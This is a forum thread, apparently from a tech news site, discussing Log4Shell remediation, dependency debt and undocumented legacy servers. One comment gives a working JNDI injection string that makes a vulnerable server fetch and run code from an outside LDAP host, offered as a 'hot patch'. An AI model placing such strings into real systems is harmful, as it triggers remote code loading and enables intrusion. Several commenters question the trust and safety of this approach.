News for hackers. Stuff that matters.
Re:Log4Shell update: second Log4j vulnerability published by freeqaz on Tuesday December 14, 2021 @11:12PM (#29562002)
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.

${jndi:ldap://hotpatch.log4shell.com:1389/a}

If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.

Source code is on GitHub here[0][1] if you want to host it yourself.

(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)

0: https://github.com/lunasec-io/lunasec/releases/

1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...

2: https://github.com/Cybereason/Logout4Shell

Re:Log4Shell update: second Log4j vulnerability published by freeqaz on Wednesday December 15, 2021 @04:46AM (#29563819)
We just pushed a follow-up post[0] to talk about why the hell we thought this crazy exploit thing might be a good idea. (spoiler: Log4Shell is actually forcing companies to deal with tech debt via dependency hell)

I'll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I'm after some much needed sleep!

Good night, y'all. :)

0: https://www.lunasec.io/docs/blog/log4shell-live-patch/

Re:Log4Shell update: second Log4j vulnerability published by freeqaz on Thursday December 16, 2021 @03:06AM (#29576132)
Here is said technical deep dive: https://www.lunasec.io/docs/blog/log4shell-live-patch-techni...

I've gotta add a section on decompiling byte code but I'll finish adding it in the morning. It's close enough as-is to be informative to people, I think. Cheers, y'all!

Re:Log4Shell update: second Log4j vulnerability published by sporkland on Wednesday December 15, 2021 @06:42AM (#29564622)
I'm seeing instances of it making the debt worse rather than better. E.g. some folks are just forcing latest log4j libs into builds even for services that don't have it or need it in central dependencies, as it's more expedient than trying to be precise and only bump where necessary.

Leading to more risk over time.

Re:Log4Shell update: second Log4j vulnerability published by justin_oaks on Wednesday December 15, 2021 @11:33AM (#29568192)
It may not make any sense, but how does it lead to more risk? If you add a Java dependency but nothing calls it, then you're not vulnerable.
Re:Log4Shell update: second Log4j vulnerability published by syntheticcorp on Thursday December 16, 2021 @04:22AM (#29576509)
If it’s in the class path? Deserialisation gadgets.
Re:Log4Shell update: second Log4j vulnerability published by GrizzlyMcGee on Wednesday December 15, 2021 @11:42AM (#29568316)
It sounds better to say "we are patched for the vulnerability" instead of "the vulnerability does not affect us." The ladder leaves a level of uncertainty. Not saying I agree with this methodology.
Re:Log4Shell update: second Log4j vulnerability published by alexfoo on Wednesday December 15, 2021 @06:30PM (#29572892)
I used to have to deal with this at my previous job (including log4j).

We were rarely vulnerable to CVEs mentioned by end users or pinged by our own internal tooling, but that wasn't the point.

The customers (a large percentage of Fortune 500) would just get pinged by their security teams. The customer would come to us, we'd say "yes, a patch is on its way" or "we've researched it, we're not vulnerable, it's fine".

(Our particular bit of product only had Java command line tools, but you never know what customers would do with them and whether they'd end up somewhere in a chain where those command line tools could be, deep down, kicked off from some user input on a public facing webpage).

Also the problem is that "we've researched it, we're not vulnerable, it's fine" often isn't good enough for the customer's internal security team, and our customers would just get hassled by them each time a scan was run.

We'd also spend a disproportionate amount of support time responding to "what about CVE-2021-xxxxx?" and arguing the case, even if it is just copy-and-paste the same old response again and again, it's still toil.

So, quite often, the easiest solution was to say "we've researched it, we're not vulnerable, but we're patching it anyway".

The problem with this approach is that you slowly build up a considerable number of third party packages that need to be version bumped each time you do a new maintenance release, and that puts quite a load on QA departments, etc.

Anyway, don't do that kind of thing any more and I certainly don't miss it.

Re:Log4Shell update: second Log4j vulnerability published by watwut on Wednesday December 15, 2021 @08:43AM (#29565769)
You mean that they are adding log4j maven dependency where there was none?
Re:Log4Shell update: second Log4j vulnerability published by dboreham on Wednesday December 15, 2021 @09:45AM (#29566596)
Reminds me of the advice to use two STOP statements in a Fortran program if you run it on a Cray. It's so fast that it could blow straight through the first one.
Re:Log4Shell update: second Log4j vulnerability published by sporkland on Wednesday December 15, 2021 @11:01AM (#29567819)
Yes
Re:Log4Shell update: second Log4j vulnerability published by Hallucinaut on Wednesday December 15, 2021 @07:07PM (#29573181)
Whilst that is ridiculous if they're bringing in a new dependency, if I squint I can see the thought process. Transitive dependencies are far harder to be certain about. It took a few seconds to scan our company's entire code base for log4j2.

But there's no easy way to verify that none of them might depend on, say, Spring Boot Web Starter, which brings in umpteen other dependencies.

Sure, you can resolve dependencies in each project and check at the individual level that the resolved dependencies for runtime don't include log4j2 but it's much more onerous. And you can take away that risk by declaring it in your parent POM so the version is fixed, regardless of what transitive deps may use.

Of course, I would always say if this what was being done, using the dependencyManagement would be a better solution. But a lot of this work will be under duress and in my experience the majority of people using systems like Maven don't really understand it.

Re:Log4Shell update: second Log4j vulnerability published by john-shaffer on Thursday December 16, 2021 @04:05AM (#29576415)
I just added a test case that importing org.apache.logging.log4j.core.lookup.JndiLookup throws a ClassNotFoundException. Any log4j2 class would work too.
Re:Log4Shell update: second Log4j vulnerability published by eitland on Wednesday December 15, 2021 @01:12AM (#29562678)
Heh.

I remember seeing a framework for this kind of thing, i.e. using exploits to display warnings, hotpatch or otherwise patch servers back on Hackcon #1 in February 2006 in Oslo.

I think it was HP who presented it and I also can't remember hearing about it since and I think there are good reasons for that[1].

In this case however the advantages might actually outweigh the risks as long as it is done carefully.

[1]: others mention services or servers that no one know how to restart anymore.

Re:Log4Shell update: second Log4j vulnerability published by kergonath on Wednesday December 15, 2021 @07:48AM (#29565235)
> others mention services or servers that no one know how to restart anymore.

This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?

Re:Log4Shell update: second Log4j vulnerability published by eitland on Wednesday December 15, 2021 @08:46AM (#29565824)
Because last time it happened you had 1.) to call in an old consultant/employee 2.) that you know is now unavailable.

The first part of that has been true at especially one place I worked though and while luckily he was still available it was still terrifying since he had left behind a proper Rube Goldberg machine. If he had been unavailable we would have had spent days and would probably just have had to recreate it from scratch (I watched him closely while he fixed it and it was a mix of at least from the top of my head: undocumented services, certificates that were expired, accounts with passwords that were unknown.)

I've also experienced to be the one that was called to because the IT manager remembered that I used to be the guy who knew how to fix a certain problem with Sybase Adaptive Server Anywhere. I had documented everything I ever knew and could think of about it but it turned out someone there had "cleaned up" a bit.

Re:Log4Shell update: second Log4j vulnerability published by reaperducer on Wednesday December 15, 2021 @01:01PM (#29569370)
This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?

This happens a lot in the real (non-computer) world, too.

There are all kinds of mechanical things that were built without any thought that they might be turned off some day. Some are big things, like factories and refineries.

I first read about this (probably in the Times) some decades ago when old apartment buildings in NYC were starting to switch their heating to better/cheaper fuel sources. Some couldn't do it simply because the boiler systems were never designed to be turned off. Ever. They had no safe way of shutting the things down.

Re:Log4Shell update: second Log4j vulnerability published by Bluecobra on Tuesday December 14, 2021 @11:53PM (#29562255)
Now that is really clever. One of affected products I use is Juniper Space to monitor our network infrastructure (which uses OpenNMS). Juniper’s only workaround currently is to completely disable OpenNMS, thereby leaving us in the dark for monitoring. This would be an excellent workaround, though I have been unable to trigger any PoC code.
Re:Log4Shell update: second Log4j vulnerability published by freeqaz on Wednesday December 15, 2021 @12:52AM (#29562571)
Shoot me an email -- we are also offering this "live patching" idea as a service now (due to Log4Shell). free at lunasec daht io (or use the contact form on https://www.lunasec.io instead)

It's just a Java dependency that you add to your classpath. Under the hood, it regularly checks for patches, and then live updates to patch a vulnerability (like Log4Shell) without you ever needing to do anything. The Open Source release is still a WIP (the Golang one here is a subset) but we have some paying customers for it already. Log4Shell has really accelerated the number of people asking us for this though!

Edit: We're offering basically this[0] project but commercially supported and, when the next Log4Shell happens, it'll patch your usage automatically.

0: https://github.com/corretto/hotpatch-for-apache-log4j2

Re:Log4Shell update: second Log4j vulnerability published by eptcyka on Wednesday December 15, 2021 @07:52AM (#29565280)
One has to be very trusting of you to give you an RCE to plug security holes
Re:Log4Shell update: second Log4j vulnerability published by hutzlibu on Wednesday December 15, 2021 @08:16AM (#29565469)
If you do not trust them, you probably should not use their code, without deeper examination, either.
Re:Log4Shell update: second Log4j vulnerability published by yccs27 on Thursday December 16, 2021 @07:15AM (#29577416)
The bigger problem is: You not only have to trust their good intentions now, but you also need to be able to trust them in the future, as long as the script is active. Additionally, you have to trust/hope that the patch security is absolutely waterproof and does not give RCE to attackers.
Re:Log4Shell update: second Log4j vulnerability published by xorcist on Wednesday December 15, 2021 @04:39AM (#29563780)
It is likely trivial to remove the jndi related classes from the package. That's what I did for similar network related third party software and so far without any trouble at all.
Re:Log4Shell update: second Log4j vulnerability published by tbirdny on Tuesday December 14, 2021 @11:33PM (#29562125)
Logout4Shell is clever but would require you know where to put the string so it gets logged by the app. So, you have to know how to exploit the app. It could be in the user-agent header, or somewhere else entirely depending on the app. And, the fix wouldn't be permanent, only until the app was restarted. And, in a load-balanced environment you would need to make sure you hit each server.
Re:Log4Shell update: second Log4j vulnerability published by freeqaz on Wednesday December 15, 2021 @12:46AM (#29562536)
That's definitely very fair! You could throw it into the constructor of your app right after you init log4j, at least.

I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options.

Blows my mind, but that's reality (apparently)!

Re:Log4Shell update: second Log4j vulnerability published by plafl on Wednesday December 15, 2021 @03:22AM (#29563309)
> _can't reboot their servers_ because they simply don't know how to bring the app back up

A hundred years later IT priests will demand human sacrifices to appease the server gods

Re:Log4Shell update: second Log4j vulnerability published by HowTheStoryEnds on Wednesday December 15, 2021 @12:35PM (#29569053)
So firms will need Ceremoniously Executed Offerings, eh?
Re:Log4Shell update: second Log4j vulnerability published by staticassertion on Wednesday December 15, 2021 @03:40AM (#29563423)
Server uptime used to be a point of pride. Now people try to shut them down as often as they can. Funny how things change.
Re:Log4Shell update: second Log4j vulnerability published by Bluecobra on Wednesday December 15, 2021 @08:19AM (#29565505)
Indeed, I remember going though great lengths to keep the Solaris hosts up that I used to administer. The graybeards I worked with treated rebooting as last resort, like admitting defeat. It was a dirty word, only reserved for lesser operating systems like Windows 95, that needed rebooting often. There was an art to systems administration that seems to be lost now. Or maybe I am just looking back though rose colored glasses. :)
Re:Log4Shell update: second Log4j vulnerability published by count on Wednesday December 15, 2021 @12:43PM (#29569156)
To be fair, it also used to take sometimes an hour+ to reinit a system. All those SCSI busses had to be enumerated, all the RAM checked for error, ah, the old days...
Re:Log4Shell update: second Log4j vulnerability published by viraptor on Wednesday December 15, 2021 @05:38AM (#29564135)
We moved a lot of things from "that one server that's setup just-so by hand" to automated and repeatable setups. If we had more/ cheaper servers before, we'd likely get there earlier.
Re:Log4Shell update: second Log4j vulnerability published by Sitio on Wednesday December 15, 2021 @04:50AM (#29563842)
My server had 80kbyte bandwidth and doing very little in a much slower time.

Kernel patches were not on top of my head 15 years ago.

Re:Log4Shell update: second Log4j vulnerability published by joshstrange on Wednesday December 15, 2021 @12:00PM (#29568589)
That seems to go hand-in-hand with the "Cattle not pets" concept, which I'm a huge fan of.
Re:Log4Shell update: second Log4j vulnerability published by NaturalPhallacy on Wednesday December 15, 2021 @01:11AM (#29562675)
I would run screaming from such an organization.
Re:Log4Shell update: second Log4j vulnerability published by shakna on Wednesday December 15, 2021 @02:52AM (#29563166)
I've helped out orgs where they had a listing of servers, but couldn't tell me what purpose, if any, they served. You have multiple entire architecture rebuilds, deprecating various parts, whilst people come and go and take their knowledge with them leaving documentation behind that is outdated enough to be more harmful than helpful.

Reality is a messy thing.

Re:Log4Shell update: second Log4j vulnerability published by kubanczyk on Wednesday December 15, 2021 @03:57AM (#29563541)
Usually there is no universal way to find the latest version of internal documentation across teams, hence updating such documentation is barely worth the time. People notice the fact.
Re:Log4Shell update: second Log4j vulnerability published by nefitty on Wednesday December 15, 2021 @04:52AM (#29563853)
In your mind, do hosted wikis and KBs like Stack Exchange, Wikimedia or Confluence address the discovery problem? If not, is there anything close?
Re:Log4Shell update: second Log4j vulnerability published by nitrogen on Wednesday December 15, 2021 @01:38PM (#29569914)
Not the OP, but I am a fan of leaving breadcrumbs everywhere. That is, every bit of documentation should point to other bits of documentation. Code comments point to the corporate wiki and vice versa, commit messages point to issues, issues refer to commit hashes, log messages might say who wrote a service, bespoke server and container images could have a README in /, internal DNS can have text records, etc.

We have to accept that we will sometimes play digital archaeologist. That's a good thing! It means that the technology we're studying was successful. So given that, it's better to have out of date documentation than zero documentation, so that we can pick up the trail somewhere.

Re:Log4Shell update: second Log4j vulnerability published by nisegami on Wednesday December 15, 2021 @05:54AM (#29564245)
In cases like these, I'm a strong proponent of turning it off and seeing who yells.
Re:Log4Shell update: second Log4j vulnerability published by shakna on Wednesday December 15, 2021 @06:25AM (#29564491)
In an org that named their servers after planets, we turned off "Mars" (which was actually completely and utterly undocumented) and discovered it was the bridge between the intranet and the internet. However, upon turning it back on... Nothing came up again.

There were no logs to try and work out which processes needed to launch for it to do its job, causing several days of website downtime (not a simple website - dozens of interconnected services). We ended up taking the phone off the hook because we kept getting calls of "is it fixed yet?"

Re:Log4Shell update: second Log4j vulnerability published by jatone on Wednesday December 15, 2021 @10:07AM (#29566935)
future reference: next time just firewall the network and see what blows up rofl.
Re:Log4Shell update: second Log4j vulnerability published by hamburglar on Wednesday December 15, 2021 @11:46AM (#29568366)
A bit of network analysis to identify services that are being called before turning things off would probably be wise, too.
Re:Log4Shell update: second Log4j vulnerability published by shakna on Wednesday December 15, 2021 @09:08PM (#29574015)
The story with Mars is quite a bit more complicated than I've written, but we did scan it, and then try and isolate it, for a few weeks before we tried the restart. Let's just say there was a lot of redundancy that only broke once it couldn't ping at a very specific time.
Re:Log4Shell update: second Log4j vulnerability published by stickfigure on Wednesday December 15, 2021 @01:18AM (#29562702)
I run screaming towards such organizations. Higher bill rates!
Re:Log4Shell update: second Log4j vulnerability published by hvgk on Wednesday December 15, 2021 @04:12AM (#29563631)
This person gets it. As always if it’s a shit show, charge by the hour and get double time! If it’s easy charge by the job and spend two months getting paid to play solitaire!
Re:Log4Shell update: second Log4j vulnerability published by iovrthoughtthis on Wednesday December 15, 2021 @03:10AM (#29563237)
the pyramids of our time
Re:Log4Shell update: second Log4j vulnerability published by gunnarmorling on Wednesday December 15, 2021 @11:34AM (#29568199)
I'm sure they mean well, but I'd highly recommend to every user to be very careful about using services like this.

Do you know whether you can trust them? Is their operations mature enough for handling the attacks they are guaranteed to receive? After all, a system receiving requests by folks suspecting they are vulnerable, makes a highly attractive target itself. In fact, I wouldn't be surprised if we see services of this kind provided by malicious actors.

Really, people should just update, or only use offline tools for analysis and mitigation like [1] which they can audit and run locally.

[1] https://github.com/jerrinot/log4shell-ldap/

Re:Log4Shell update: second Log4j vulnerability published by avodonosov on Wednesday December 15, 2021 @08:43AM (#29565768)
It is interesting to note that this type of hotpatching will be prevented by the "strong encapsulation" new Java introduces.

BTW, the java code that actuanlly performs the patching : https://github.com/lunasec-io/lunasec/blob/master/tools/log4...

Re:Log4Shell update: second Log4j vulnerability published by YetAnotherNick on Wednesday December 15, 2021 @03:25AM (#29563327)
While brilliant, I don't think anyone should actually be content after running this in their server. The patch won't work in case of multiple pods, and won't be applied again in case you redeploy the code
Re:Log4Shell update: second Log4j vulnerability published by m12k on Wednesday December 15, 2021 @03:48AM (#29563477)
Yeah, this should come with a note that this is intended for people with slow redeployment pipelines, to protect them until they can actually deploy a permanent fix.
Re:Log4Shell update: second Log4j vulnerability published by hawk_ on Wednesday December 15, 2021 @02:44AM (#29563123)
people should rename their iphone, tesla [0] and other devices to this to patch servers!

[0] https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm...

Re:Log4Shell update: second Log4j vulnerability published by DeepYogurt on Wednesday December 15, 2021 @12:30AM (#29562448)
What a wonderful attack vector.
Re:Log4Shell update: second Log4j vulnerability published by fuzzybear3965 on Wednesday December 15, 2021 @05:59AM (#29564278)
You're like the Pfizer of the JVM.
Re:Log4Shell update: second Log4j vulnerability published by teruakohatu on Tuesday December 14, 2021 @11:18PM (#29562037)
How does the hot patch work?
Re:Log4Shell update: second Log4j vulnerability published by freeqaz on Tuesday December 14, 2021 @11:25PM (#29562079)
It uses the Log4Shell exploit to load some Java bytecode (read through this[0] blog post for context on Log4Shell).

Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file.

There is a good talk on JNDI exploits in that[0] blog post if you want more details. :)

0: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exp...

1: https://github.com/lunasec-io/lunasec/blob/master/tools/log4...

Re:Log4Shell update: second Log4j vulnerability published by blondin on Tuesday December 14, 2021 @11:47PM (#29562219)
uses the exploit to mitigate the exploit. brilliant!
Re:Log4Shell update: second Log4j vulnerability published by avodonosov on Wednesday December 15, 2021 @09:15AM (#29566203)
More precisely, it does not rewrite classes, but just changes log4j configuration programmatically.
Re:Log4Shell update: second Log4j vulnerability published by indigodaddy on Wednesday December 15, 2021 @02:24AM (#29563013)
Interesting.. kind of like a vaccine!